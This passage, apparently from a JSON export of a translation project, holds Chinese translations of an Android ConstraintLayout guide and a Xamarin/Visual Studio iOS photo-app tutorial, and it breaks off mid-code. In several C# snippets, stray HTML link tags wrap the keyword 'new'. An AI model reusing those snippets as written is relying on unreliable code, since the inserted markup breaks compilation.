Inside）和密集式（Packed）链条。\n\n![](https://cdn-images-1.medium.com/max/1600/1*ZJRM06bmnEj8YSCyOn2fNg.gif)\n\n有两个额外的技巧可以用来更方便地操作链条：\n\n如果你创建了一个分布式或者内分布式链条，并且所有的组件尺寸都被设置成 MATCH_CONSTRAINT（或者“0dp”），其余的链条空间将会根据在 layout_constraintHorizontal_weight 或则 layout_constraintVertical_weight 中定义的值平均分布。\n\n![](https://cdn-images-1.medium.com/max/1600/1*HelCaZczLmEjXPO5iaAs7A.gif)\n\n如果你创建了一个密集式链条，你可以通过调整水平（或者垂直）焦点来使链条元素左右（或者上下）移动。\n\n![](https://cdn-images-1.medium.com/max/1600/1*D9Tp-QOkNVGan422xeo1Jg.gif)\n\n#### 比率\n\n比率大致上能够实现和[百分比布局](https://developer.android.com/reference/android/support/percent/PercentFrameLayout.html)相同的效果，IE 中可以通过设定比率来限制 View 的宽高，而不用在 ViewGroup 的层次上增加额外开销。\n\n![](https://cdn-images-1.medium.com/max/2000/1*RfgavVsO88a44_F5xGnUog.gif)\n\n在约束控件中为组件设置比率：\n\n1. 确保至少一个约束尺寸可变，也就是说，不允许设置为“Fixed”和“Warp Content”。\n2. 点击左上角的“Toggle aspect ratio constraint”。\n3. 按照宽度：高度的格式输入你想要的比率，比如：16:9 。\n\n#### 辅助线\n\n辅助线是用来帮助你布置其他组件的可视的组件。它们在运行时并不会可见，但同样可以用来添加约束，可以从下拉项中创建垂直或者水平的辅助线。\n\n![](https://cdn-images-1.medium.com/max/1600/1*8KCJzbcyQJUHxyAJIVaUfg.gif)\n\n点击选择新添加的辅助线，拖动到合适的位置。\n\n点击组件的顶部（或左部）标志可以切换辅助线对其模式：固定距离的左/右（或者上/下）对齐模式和相对父元素的百分比宽/高对齐模式。\n\n### 处理 View.GONE\n\n![](https://cdn-images-1.medium.com/max/1600/0*sgv4IU2rWyXBbPMR.)\n\n与相对布局相比，在约束控件布局中你将能更好地控制组件的 View.GONE 可见性。最重要的一点，任何设置为 GONE 的组件，其尺寸和外边距约束将缩小为零，但仍然参与约束的计算。\n\n![](https://cdn-images-1.medium.com/max/1200/1*reku7ldbZGxh7qG0PKrZ0g.gif)\n\n许多情况下，如图所示的一系列通过约束联系起来的组件只会在一个组件被设置为 GONE 时生效。\n\n还有一个方法可以为约束绑定在 GONE 移除时的组件设置特定的外边距，使用 [*layout_goneMargin*](https://developer.android.com/reference/android/support/constraint/ConstraintLayout.html#GoneMargin)*Start* (…*Top*, …*End*, 和 …*Bottom*) 属性来实现。\n\n![](https://cdn-images-1.medium.com/max/1600/1*sz63HAfIQL_5OrHSCfk3Rg.gif)\n\n这样可以处理更复杂的情况，正如上如所示，我们可以设置特定的组件消失而不用改变代码。\n\n#### 不同类型的居中对齐\n\n在约束控件布局的链条属性中，我已经提到过一种居中方式了。当你选择一组组件时，点击“Center horizontally”（或者“center vertically”）来创建一个链条。\n\n你也可以使用相同的选项，使一个组件居中对齐在其相邻的组件中间：\n\n![](https://cdn-images-1.medium.com/max/1600/1*yP9P7Fnu4KfB2v1PCGPmtg.gif)\n如果要忽略其他组件，在父元素内居中对齐，使用“Center horizontally/vertically in parent”选项。需要注意的一点是，通常你会对一个单独的元素使用这个选项，并且这不会创建链条。\n\n![](https://cdn-images-1.medium.com/max/1600/1*1MIe7MsnTXKV6KttdaOtGA.gif)\n\n有时，你需要两个不同尺寸的组件中心对齐，不妨这样：当不同约束把一个组件拉向两个不同的方向时，它会稳定在两个约束的中间位置（每个方向 50% 偏心距）。\n\n![](https://cdn-images-1.medium.com/max/1600/1*lqP6aGkko5sAC2DyC6TH4g.gif)\n\n我们可以使用相同的方法，通过设置两个相同方式的关联，使一个组件相对于另一个组件的一边居中对齐。\n\n![](https://cdn-images-1.medium.com/max/1600/1*a0pnMNpfUt8NJMY3KZGB0Q.gif)\n\n#### 使用 Space 实现负外边距\n\n约束控件布局中不支持负的外边距，然而，有个小技巧可以使你获得相同的效果，通过插入 Space（实质上是一个空组件）并且设置尺寸为理想外边距的大小。如下所示：\n\n![](https://cdn-images-1.medium.com/max/1600/1*rlTnKZVFd8ftT0H8pcOYBQ.gif)\n\n#### 什么时候使用自动生成\n\n当你在工具栏中选择“自动生成布局（Infer constraints）”命令时，编辑器会找出约束控件布局中缺少的组件约束，并且会自动添加。它也可以从一个没有任何约束的视图开始设置，但由于很难创建一个完全正确的视图，你可能会得到很混乱的结果。这也是我建议通过这两种方式来使用约束界面：\n\n首先是尽可能多地手动创建约束，这样你的布局能够最大化地得到实现并且具有功能可靠。然后，点击自动生成来为一些没有约束的组件创建约束，这样能节省你一点工作量。\n\n另一个方法就是，将组件置于编辑器中不创建任何约束，使用自动生成命令，然后修改预览设备的分辨率。查看有哪些尺寸和位置错误的组件并修正这些约束，然后换一个分辨率重复操作。\n\n这归根到底取决于你的喜好，每个人为布局创建约束的方式各有千秋，当然也包括有些人喜欢纯手工地实现巧夺天工的布局。\n\n#### 不支持适应父元素\n\n使用 match_constraint（0 dp）来替代，并且可以根据意愿给父元素设置约束，配合正确的外边距处理方式可以实现相同的效果，不应在约束布局中使用“Match parent”。"
  },
  {
    "path": "TODO/building-ios-apps-with-xamarin-and-visual-studio.md",
    "content": "> * 原文链接 : [Building iOS Apps with Xamarin and Visual Studio](https://www.raywenderlich.com/134049/building-ios-apps-with-xamarin-and-visual-studio)\n> * 原文作者 : [Bill Morefield](https://www.raywenderlich.com/u/bmorefield)\n> * 译文出自 : [掘金翻译计划](https://github.com/xitu/gold-miner)\n> * 译者 : [Nicolas(Yifei) Li](https://github.com/yifili09) \n> * 校对者: [Gran](https://github.com/Graning), [Jasper Zhong (DeadLion)](https://github.com/DeadLion)\n\n# 用 Xamarin 和 Visual Studio 构建 iOS 应用\n\n![](https://cdn4.raywenderlich.com/wp-content/uploads/2016/07/VisualStudioXamarin-Feature-250x250.png)\n\n当创见一个 `iOS` 的应用程序的时候，开发者们一贯倾向于使用那些由 `Apple` 公司提供的编程语言和 `IDE`: `Objective-C` / `Swift` 和 `Xcode`。然而，这并不是唯一的选择 - 你还可以通过使用很多其他的编程语言和框架去创建一个 `iOS` 应用程序。\n\n[Xamarin](https://xamarin.com) 是最热门的选择方式之一，它是一个跨平台的开发框架，允许你使用 `C#` 和 `Visual Studio` 开发 `iOS`, `Android`, `OS X` 和 `Windows` 应用程序。`Xamarin` 最主要的好处是，它能让你在 `iOS` 和 `Android` 应用程序（平台）共享你的代码。\n\n`Xamarin` 相比其他跨平台的框架还有一个很大的优势: （若）使用 `Xamarin`，你的项目会编译成原生代码，并且在底层使用原生的 `APIs`。这意味着用 `Xamarin` 框架写的应用程序和用 `Xcode` 创建出的应用程序几乎无差别。查看 [Xamarin 与 Native 应用程序开发](http://willowtreeapps.com/blog/xamarin-vs-native-app-development/) 了解更多细节。 \n\n过去，`Xamarin` 也有一个很大的缺点: 它的价格。因为每个平台每年的起步价格是 `$ 1,000（美元）`，你只能放弃你每天一杯的拿铁咖啡或者卡布奇诺，甚至_考虑_你能否承受这个价格......并且在编程的时候没有咖啡会是很危险的。因为这个（高昂的）起步价格，`Xamarin` 吸引的主要是那些有着很多预算的企业级项目。\n\n然而，最近这个情况已经改变了，当 `微软` 收购了 `Xamarin` 并且发表声明，它将被包含进全新的 `Visual Studio` 中，包含进 [免费的社区版本](https://www.visualstudio.com/en-us/products/visual-studio-community-vs.aspx)，它能被个人开发者和小团体(免费)获取。\n\n免费？这个价格值得我们去庆祝一下了！\n\n[![More money for coffee!](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/dollar-941246_1280-427x320.jpg)](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/dollar-941246_1280.jpg)\n\n有更多买咖啡的钱了！\n\n\n\n除了价格（或者漏掉的其他原因），`Xamarin` 还有其他优点，包括允许程序员:\n\n* 利用现存的 `C#` 库和工具去创建移动应用程序。\n* 在不同平台上复用代码。\n* 在 `ASP.Net` 后端和面向用户的应用程序之间分享代码。\n\n`Xamarin` 也提供了一系列的工具，取决与你的需求。为了最大化的跨平台代码复用，使用 [Xamarin 表单](https://www.xamarin.com/forms)。它对那些不需要平台特定的功能或者特别的用户自定义的接口的应用程序特别好用。\n\n如果你的应用程序（依赖于）需要平台特定的功能或者设计，使用 [`Xamarin.iOS`](https://developer.xamarin.com/guides/ios/), [`Xamarin.Android`](https://developer.xamarin.com/guides/android) 和其他的平台特定的模块，去直接与原生 `APIs` 和框架进行交互。这些工具能提供最大限度的灵活度，来创建高度定制的用户接口，当然仍旧允许跨平台地共享通用的代码。\n\n在这份指南中，你将使用 `_Xamarin.iOS_` 去创建一个 `iPhone` 应用程序，它展示了一个用户的照片库。\n\n这份指南不需要任何有关 `iOS` 或者 `Xamarin` 开发的经验，但是为了明白其中的大部分内容，你将需要对 `C#` 有一个基本的认识。\n\n## 开始\n\n为了开发一个使用 `Xamarin` 和 `Visual Studio` 的 `iOS` 应用程序，理论上你需要两台计算机:\n\n1. 使用_一台 `Windows` 计算机_去运行 `Visual Stuido` 并且编写你的工程代码 \n2. 使用_一台 装有 `Xcode` 的 `Mac` 计算机_作为一个构建代码的主机。这台计算机不必专门用来构建，但是开发和测试期间，需要和你的 `Windows` 计算机网络互通。\n\n如果你那两个计算机互相之间离得很近是很棒的，因为当你构建代码并且在 `Windows` 上运行， `iOS` 模拟器将在你的 `Mac` 上加载。\n\n你们可能会说，\"如果我没有同时拥有两个计算机怎么办？\"\n\n* _对于只有 `Mac` 的用户_，`Xamarin` 确实提供了一个给 `OS X` 用的 `IDE`，但是我们今天的指南将只关注这个崭新的 `Visual Studio` 支持。所以如果你还想继续的话，你可以在运行在 `Mac` 上的虚拟机运行 `Windows`。很多工具，例如 [VMWare Fusion](https://www.vmware.com/products/fusion) 或者免费的，开源软件 [VirtualBox](https://www.virtualbox.org/) 对于一个只使用单独一个计算机的用户来说都是有效的方法。\n\n    如果你使用了 `Windows` 的虚拟机，你需要确认 `Windows` 有网络连接能访问到你的 `Mac`。总之，如果你能从 `Windows` 上 `ping` 到你的 `Mac` 的 `IP` 地址，那么你一点问题都没有。\n\n* _对于只有 `Windows` 的用户_，请速度购买一台 `Mac`。我会等你！ :] 如果不行，虚拟主机服务，例如 [MacinCloud](http://www.macincloud.com/) 或者 [Macminicolo](https://macminicolo.net) 提供了远程 `Mac` 访问和构建代码。\n\n这个指南假设你正在使用一个单独的 `Mac` 和 `Windows` 计算机，但是不用担心 - 这些说明几乎与如果你在你的 `Mac` 上使用 `Windows` 的虚拟机一样。\n\n### 安装 `Xcode` 和 `Xamarin`\n\n如果你还没有它，[下载并且安装 `Xcode`](https://itunes.apple.com/us/app/xcode/id497799835) 在你的 `Mac`。这和从 `App Stroe` 安装其他应用程序一样，但是因为有几个 GB 的数据，可能需要下载一段时间。\n\n[![Installing Xcode? Perfect time for a cookie break!](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/danish-butter-cookies-1032894_1280-480x270.jpg)](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/danish-butter-cookies-1032894_1280.jpg)\n\n刚好茶歇时间到！\n\n\n在安装了 `Xcode` 后，[下载 `Xamarin Studio`](https://www.xamarin.com/download) 到你的 `Mac` 上。你需要提供你的 `email`，但是下载是免费的。可选的: 开心吧，跳个舞吧，你那些买咖啡的钱能省下了。 \n\n一旦下载完成，_打开安装包_并且双击_安装 `Xamarin.app`_。接受条款和条件并且继续。\n\n安装器会搜索已经安装的工具并检查目前平台的版本。它之后将为你显示开发环境的列表。确认 _`Xamarin.iOS`_ 完成检查，之后点击_继续_。\n\n![Xamarin Installer](https://cdn1.raywenderlich.com/wp-content/uploads/2016/05/xamarin-installer.png)\n\n之后，你会看到确认列表，总结所有会安装的项目。点击_继续_执行。你将得到一份总结并且一个可选项启动 `Xamarin Studio`。相反，点击_退出_完成安装。\n\n### 安装 `Visual Studio` 和 `Xamarin`\n\n对于这份指南，你能使用任何版本的 `Visual Studio`，包括 [免费的社区版本](https://www.visualstudio.com/en-us/products/visual-studio-community-vs.aspx)。有些特性在社区版本里是 [没有的](https://www.visualstudio.com/products/compare-visual-studio-2015-products-vs)，但是任何都没法阻止你开发复杂的应用程序。\n\n你的 `Windows` 计算机应当满足 [`Visual Studio` 最低需求](https://www.visualstudio.com/en-us/downloads/visual-studio-2015-system-requirements-vs.aspx#1)。为了享受一个流畅的开发环境，你需要至少 `3 GB` 的内存空间。\n\n如果你还没有安装 `Visual Studio`，通过点击在 [社区版本官方网站](https://www.visualstudio.com/en-us/products/visual-studio-community-vs.aspx) 上的绿色按钮_下载社区2015_下载社区版本安装器。\n\n运行安装器开始安装过程，选择_自定义_安装选项。在特性列表中，展开_跨平台移动程序开发_，并选择 _`C#/.Net (Xamarin v4.0.3)`_ (`v4.0.3` 是这篇文章写作的时候，目前最新的版本，但是未来可能会不同。)\n\n![vs-installer](https://cdn5.raywenderlich.com/wp-content/uploads/2016/05/vs-installer-354x500.png)\n\n点击_下一步_并等待安装完成。将会需要等待一段时间；当安装 `Xcode` 的时候，你可以去散个步，把你吃掉的曲奇饼干的热量燃烧掉。：]\n\n如果你已经安装了 `Visual Studio` 但是没有 `Xamarin` 工具，移动到你的 `Windows` 计算机上的_项目和特性_并且找到 _`Visual Studio 2015`_。选择它，点击_更改_去访问它的设置，之后选择_修改_。\n\n你将会发现 `Xamarin` 在_跨平台移动程序开发_作为_`C#/.NET (Xamarin v4.0.3)`_。选择他并且点击_更新_来安装。\n\n哟 - 实在有太多需要安装的了，但是你已经有你所需要的东西了。\n\n![Install_Powers](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/Install_Powers.png)\n\n## 创建应用程序\n\n打开 `Visual Studio` 并且选择_`文件\\新建\\项目`_。在 `Visual C#` 下展开 _`iOS`_，选择 _`iPhone`_ 并且勾选_`单一视图应用程序`_（开发）模板。这个（开发）模板创建了一个单一视图控制器的应用程序，它是一个简单的，管理单一视图的 _`iOS`_ 应用程序。\n\n![NewProject](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/NewProject-461x320.png)\n\n为_`项目名字`_和_`解决方案名字`_，都输入 _`ImageLocation`_ 。选择一个存储你应用程序文件的地址，并且点击 _`OK`_ 去创建这个项目工程。 \n\n`Visual Studio` 会提示你，去把你的 `Mac` 计算机设定成 `Xamarin` 的构建主机:\n\n1. 在 `Mac` 上，打开_系统偏好_并且选择_共享_。\n2. 打开_远程登录_。\n3. 将_允许所有访问_改成_只允许这些用户_，并且增加一个在 `Mac` 上可以访问 `Xamarin` 和 `Xcode` 的用户。\n    ![Setup Mac as Build Host](https://cdn5.raywenderlich.com/wp-content/uploads/2016/05/build-host-setup-629x500.png)\n4. 关闭说明并回到你的 `Windows` 计算机。\n\n回到 `Visual Studio`，你将被要求去选择 `Mac` 作为构建主机。选择你的 `Mac` 并点击_连接_。输入用户名和密码，之后点击_登录_。\n\n你能从工具栏上确认你是否已经连接上。\n\n[![Connected_Indicator](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/Connected_Indicator-480x68.png)](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Connected_Indicator.png)\n\n从平台解决方案下拉框中选择 _`iPhone 模拟器`_ - 这将自动从构建主机中选择一个模拟器。你也能通过点击目前模拟器设备上的小箭头改变设备模拟器。 \n\n[![Change_Simulator](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/Change_Simulator-1.png)](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/Change_Simulator-1.png)\n\n通过绿色的_调试_箭头或者快捷键 _`F5`_ 构建和运行工程。\n\n[![Build_and_Run](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Build_and_Run.png)](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/Build_and_Run.png)\n\n你的应用程序将被编译和执行，但是你看不到它在 `Windows` 上运行。反而，在 `Mac` 上会看到它在运行。这就是为什么需要两台计算机在一起的原因了。\n\n在最近的 [发展例会](https://evolve.xamarin.com) 上，`Xamarin` 已揭晓了（新特性） [iOS 模拟器的远程控制](https://blog.xamarin.com/live-from-evolve-new-xamarin-previews/)，它能让你和运行在 `Apple`　计算机中模拟器的应用进行远程交互，就好像模拟器是安装在你的 `Windows` 计算机上一样。然而，就目前来说，你需要使用你 `Mac` 计算机上的模拟器。\n\n你将看到一个启动画面出现在模拟器上，之后一个出现一个空的视图。恭喜！你的 `Xamarin` 配置完毕了！\n\n[![Template App](https://cdn1.raywenderlich.com/wp-content/uploads/2016/05/template-app-running-1-272x500.png)](https://cdn2.raywenderlich.com/wp-content/uploads/2016/05/template-app-running-1-272x500.png)\n\n可以通过_红色的停止按钮_来停止应用程序（快捷键是 _`Shift + F5`_）。\n\n## 创建集合视图\n\n这个应用程序会在集合视图中显示用户照片库的缩略图，它是一个 `iOS` 的控制器，用于显示在网格中显示很多内容。\n\n为了修改应用程序的 `storyboard`，它包含了应用程序的 `scenes`，从 _`Solution Explorer`_ 中打开_`Main.storyboard`_。\n\n[![](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Main_Storyboard-269x320.png)](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Main_Storyboard.png)\n\n打开 _`Toolbox`_ 并且输入 _`collection`_ 到文本框内，去过滤出项目列表。在 _`Collection Views`_ 选项，把 _`Collection View`_对象从 _`Toolbox`_ 拖入到空视图的中间。\n\n[![Add Collection View](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Drag_Collection_View-650x456.png)](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/Drag_Collection_View.png)\n\n选择集合视图；你将在视图的每一边看到一些 _空心圈_。如果你在每一边看到 _`T 型`_，再次点击它，并切换到_`圈`_的样式。\n\n[![Resizing the Collection View](https://cdn5.raywenderlich.com/wp-content/uploads/2016/05/resize-collection-view-521x500.gif)](https://cdn5.raywenderlich.com/wp-content/uploads/2016/05/resize-collection-view-521x500.gif)\n\n点击并且拖动每一个圈到视图的边界直到出现蓝色的线。当你放开鼠标按钮的时候，边界应该和这个地方重合。\n\n现在你将对集合视图设置自动布局的限制条件；这告诉了应用程序，当设备旋转的时候，视图应该怎么调整大小。\n\n[![Add_Constraints](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Add_Constraints-650x112.png)](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Add_Constraints.png)\n\n这个创建的限制条件几乎都是正确的，但是你将需要修改其中的一些。在 _`Properties`_ 窗口，切换到 _`Layout`_ 页面并且下滑到 _`Constraints`_ 选项。\n\n两个来自于边界的限制条件都是正确的，但是高度和宽度的限制条件是不正确的。通过点击 _`X`_ 来删除_`宽度`_和_`高度`_的限制条件。\n\n[![Delete Constraints](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/Delete_Constraints-304x500.png)](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Delete_Constraints.png)\n\n关注到集合视图是如何变化到橙色的。这是限制条件需要被修正的信号。\n\n点击集合视图并选择它。如果你看到了之前的圈，再次点击去让图标变成绿色的 _`T 型`_。点击并将在集合视图_最上边界_的 `T` 拖动到 绿色_`最上布局指导`_。释放它去创建一个相对最上视图的限制条件。\n\n最后，点击并拖动这个 `T` 到集合视图_最左边_直到你看到一个_蓝色的点状线_。释放它并创建一个相对视图左边边界的限制条件。\n\n在这点，你的限制条件会像这样:\n\n![Constraints](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Constraints.png)\n\n## 配置集合视图的单元格\n\n你可能已经注意到在集合视图里的方块的轮廓，在它里面是一个红色惊叹号。这就是一个集合视图的单元格，它表示了集合视图里的一个单独的内容。\n\n为了去配置这个单元格的大小，它在集合视图里完成，选择集合视图并且滑动到最上面的 _`Layout`_ 标签。在 _`Cell Size`_ 里，将 _`Width`_ 和 _`Height`_ 配置成 `100`。\n\n[![cell-size](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/cell-size.png)](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/cell-size.png)\n\n接下来，点击在集合视图单元格上的_红色的圈_。一个弹出框会告知你，你还没有为这个单元格设定一个可复用的标识符，所以选择这个单元格，并且到 _`Widget`_ 标签。下滑到 _`Collection Resuable View`_ 部分并且输入 _`ImageCellIdentifier`_ 作为这个的 _`标识符`_。刚才的哪个错误信号应该消失了。\n\n[![Set_Reuse_Identifier](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/Set_Reuse_Identifier-480x202.png)](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Set_Reuse_Identifier.png)\n\n继续滑动到 _`Interaction Section`_。通过选择 _`Predefined`_ 将 _`Background Color`_ 设置成_`蓝色`_。\n\n[![Set Cell Background Color](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Set_Cell_Background_Color-427x320.png)](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/Set_Cell_Background_Color.png)\n\n场景应该看上去和下图差不多:\n\n![Collection Cell with Color](https://cdn5.raywenderlich.com/wp-content/uploads/2016/05/collection-cell-with-color-470x500.png)\n\n滑动到 _`Widget`_ 上部，并且将 _`Class`_ 设置成 _`PhotoCollectionImageCell`_。 \n\n[![Set Cell Class](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Set_Cell_Class.png)](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Set_Cell_Class.png)\n\n`Visual Studio` 将自动创建以这个名字命名的类，继承自 `UICollectionViewCell`，并且创建 `PhotoCollectionImageCell.cs`。太好了，我希望 `Xcode` 也能做到。\n\n## 创建集合视图的数据源\n\n你会需要手动创建一个类充当 `UICollectionViewDataSource`，它会为集合视图提供数据。\n\n在 _`Soultuion Explorer`_ 中右键选择 _`ImageLocation`_。选择 _`Add \\ Class`_ ，将类命名为 _`PhotoCollectionDataSource.cs`_ 并 点击 _`Add`_。\n\n打开最近新增的 _`PhotoCollectionDataSource.cs`_ 并且在文件最上方增加以下内容：\n\n    using UIKit;\n\n这给予了你访问 `iOS` `UIKit` 框架的权限。\n\n改变这个类的定义:\n\n```\n    public class PhotoCollectionDataSource : UICollectionViewDataSource\n    {\n    }\n```\n\n还记得之前那个为集合视图单元格定义过的可复用的标识符么？你会在这个类中使用他们。增加以下内容到这个类的定义中:\n\n```\n    private static readonly string photoCellIdentifier = \"ImageCellIdentifier\";\n```\n\n`UICollectionViewDataSource` 类中包含两个抽象成员（方法），你必须要去实现的。增加以下内容到类中:\n\n```\n    public override UICollectionViewCell GetCell(UICollectionView collectionView, \n        NSIndexPath indexPath)\n    {\n        var imageCell = collectionView.DequeueReusableCell(photoCellIdentifier, indexPath)\n           as PhotoCollectionImageCell;\n\n        return imageCell;\n    }\n\n    public override nint GetItemsCount(UICollectionView collectionView, nint section)\n    {\n        return 7;\n    }\n```\n\n`GetCell()` 负责提供一个在集合视图里显示的单元格。\n\n`DequeueReusableCell` 复用了一些今后不需要的单元格，例如，如果他们已经不在屏幕上显示了，你可以回收他们。如果没有可复用的单元格可用，一个新的将会被自动创建。\n\n`GetItemsCount` 告诉集合视图可以显示 7 个内容。\n\n接下来，你会增加一个对集合视图对 `ViewController` 类的引用，它是控制场景的视图控制器，包括集合视图。切换回 _`Main.storyboard`_，选择集合视图，之后选择 —_`Widget`_ 标签。把 _`collectionView`_ 输入到 _`Name`_。\n\n[![Set Collection View Name](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Set_CollectionView_Name-480x160.png)](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/Set_CollectionView_Name.png)\n\n`Visual Studio` 将自动创建一个实例变量，使用这个名称在 `ViewController` 类上。\n\n_注意_: 你不会在 _`ViewController.cs`_ 内看到这个实例变量。为了看见这个实例变量，点击在 _`ViewController.cs`_ 左边的扩展标识符，去显示 _`ViewController.designer.cs`_。这个包含了由 `Visual Studio` 自动创建的 `collctionView` 的实例变量。\n\n从 _`Solution Explorer`_ 中打开 _`ViewController.cs`_，并且增加以下内容: \n\n\n```\n    private PhotoCollectionDataSource photoDataSource;\n```\n\n\n在 `ViewDidLoad()` 的末尾，增加这几行，去初始化数据源，并且将它和集合视图链接起来。\n\n```\n    photoDataSource = <a href=\"http://www.google.com/search?q=new+msdn.microsoft.com\">new</a> PhotoCollectionDataSource();\n    collectionView.DataSource = photoDataSource;\n```\n\n这样一来，`photoDataSource` 将为集合视图提供数据。\n\n构建和运行。你能看到有 7 个蓝色方块的集合视图。\n\n![App Running with collection view](https://cdn3.raywenderlich.com/wp-content/uploads/2016/05/cells-no-photo-app-272x500.png)\n\n太棒了 - 这个应用程序真的就快要完成了！\n\n![Blue Squares!](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Blue_Squares-230x320.png)\n\n## 展示图片\n\n当然蓝色的方块很 `cool`，你接下来会更新数据源，从设备上获取真实的照片，并且将他们显示在集合视图上。你将使用 `Photos` 框架去访问那些通过 `Photos` 应用程序管理的照片和视频资源。\n\n首先，你要为集合视图的单元格增加可以显示照片的视图。再次打开 _`Main.storyboard`_ 并选择集合视图。在 _`Widget`_ 标签上，下滑并且修改 _`Background color`_ 成默认值。\n\n[![Set_Default_Cell_Background_Color](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Set_Default_Cell_Background_Color-480x247.png)](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Set_Default_Cell_Background_Color.png)\n\n打开 _`Toolbox`_，搜索 _`Image View`_，之后拖一个 _`Image View`_ 在 _`集合视图单元格`_ 的上面。\n\n[![Drag Image View](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Drag_Image_View-650x400.png)](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Drag_Image_View.png)\n\n`Image View` 开始的时候肯定比单元格大；为了重新制定它的大小，选择这个 `Image View` 并且到 _`Properties \\ Layout`_ 标签。在 _`View`_ 部分，把 _`X`_ 和 _`Y`_ 设定为 `0`，并且把 _`Width`_ 和 _`Height`_ 设置为 `100`。\n\n[![Set Image View Size](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Set_Image_View_Size-480x296.png)](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/Set_Image_View_Size.png)\n\n切换到 `Image View` 的 _`Widget`_ 标签，并且把 _`Name`_ 设置为 _`cellImageView`_。`Visual Studio` 将会为你自动创建一个命名好的 `cellImageView`。\n\n[![Set Image View Name](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Set_Image_View_Name-480x152.png)](https://cdn2.raywenderlich.com/wp-content/uploads/2016/06/Set_Image_View_Name.png)\n\n滑动到 _`View`_ 部分并且把 _`Mode`_ 改变到 _`Aspect Fill`_。这个保证图片能被拉伸。\n\n[![Set Image View Mode](https://cdn5.raywenderlich.com/wp-content/uploads/2016/06/Set_Image_View_Mode-480x147.png)](https://cdn4.raywenderlich.com/wp-content/uploads/2016/06/Set_Image_View_Mode.png)\n\n_注意_: 如果你打开 _`PhotoCollectionImageCell.cs`_，你无法看见新的字段。相反，这个类被声明为 `partial`，它意味着这个字段在另外一个文件里。\n\n在 _Solution Explorer_，选择 `PhotoCollectionImageCell.cs` 左边的箭头去扩展文件。打开 `PhotoCollectionImageCell.desinger.cs` 就能看见 `celImageView` 在这里被声明。\n\n[![](https://cdn1.raywenderlich.com/wp-content/uploads/2016/06/Expand_PhotoCollectionImageCell-480x248.png)](https://cdn3.raywenderlich.com/wp-content/uploads/2016/06/Expand_PhotoCollectionImageCell.png)\n\n这个文件被自动生成; **不要改变** 这个文件。如果你改变了，他们必须没有任何警告语句或者断开类类和 `storyboard` 之间的链接，它们可能就被覆盖了，造成了运行时的错误。\n\n\n\n由于这一字段不是公有的，其他类无法访问它。相反，你需要为设定图片提供一个公有函数。\n\n打开 `PhotoCollectionImageCell.cs` 并且为这个类增加以下几个方法:\n\n```\n    public void SetImage(UIImage image)\n    {\n        cellImageView.Image = image;\n    }\n```\n\n\n\n现在你将更新 `PhotoCollectionDataSource` 去获取真实的照片。\n\n将以下内容增加到 _`PhotoCollectionDataSource.cs`_ 的上部:\n\n```\n    using Photos;\n```\n\n增加以下内容到 `PhotoCollectionDataSource`:\n\n\n```\n    private PHFetchResult imageFetchResult;\n    private PHImageManager imageManager;\n```\n\n\n`imageFetchResult` 字段会保留有序的保存照片库的对象，并且你能从 `imageManager` 中获得这些照片列表。 \n\n在 `GetCell()` 中增加以下构造器:\n\n```\n    public PhotoCollectionDataSource()\n    {\n        imageFetchResult = PHAsset.FetchAssets(PHAssetMediaType.Image, null);\n        imageManager = new PHImageManager();\n    }\n```\n\n\n这个构造器获取在 `Photo` 应用程序中所有照片资源的列表并且把结果保存在 `imageFetchResult` 字段。它之后设置 `imageManager`，之后应用程序会通过它查询更多有关每一个照片的详细信息。\n\n当这个类完成了任务后，通过增加析构函数来销毁 `imageManager`。\n\n```\n    ~PhotoCollectionDataSource()\n    {\n        imageManager.Dispose();\n    }\n```\n\n\n\n为了让 `GetItemsCount` 和 `GetCell` 方法使用这些资源，并且返回图片，而非空的单元格，将 `GetItemsCOunt()` 改成以下内容:\n\n\n```\n    public override nint GetItemsCount(UICollectionView collectionView, nint section)\n    {\n        return imageFetchResult.Count;\n    }\n```\n\n\n之后，替换 `GetCell` 为以下内容:\n\n```\n    public override UICollectionViewCell GetCell(UICollectionView collectionView, \n        NSIndexPath indexPath)\n    {\n        var imageCell = collectionView.DequeueReusableCell(photoCellIdentifier, indexPath) \n            as PhotoCollectionImageCell;\n\n        // 1\n        var imageAsset = imageFetchResult[indexPath.Item] as PHAsset;\n\n        // 2\n        imageManager.RequestImageForAsset(imageAsset, \n            <a href=\"http://www.google.com/search?q=new+msdn.microsoft.com\">new</a> CoreGraphics.CGSize(100.0, 100.0), PHImageContentMode.AspectFill,\n            <a href=\"http://www.google.com/search?q=new+msdn.microsoft.com\">new</a> 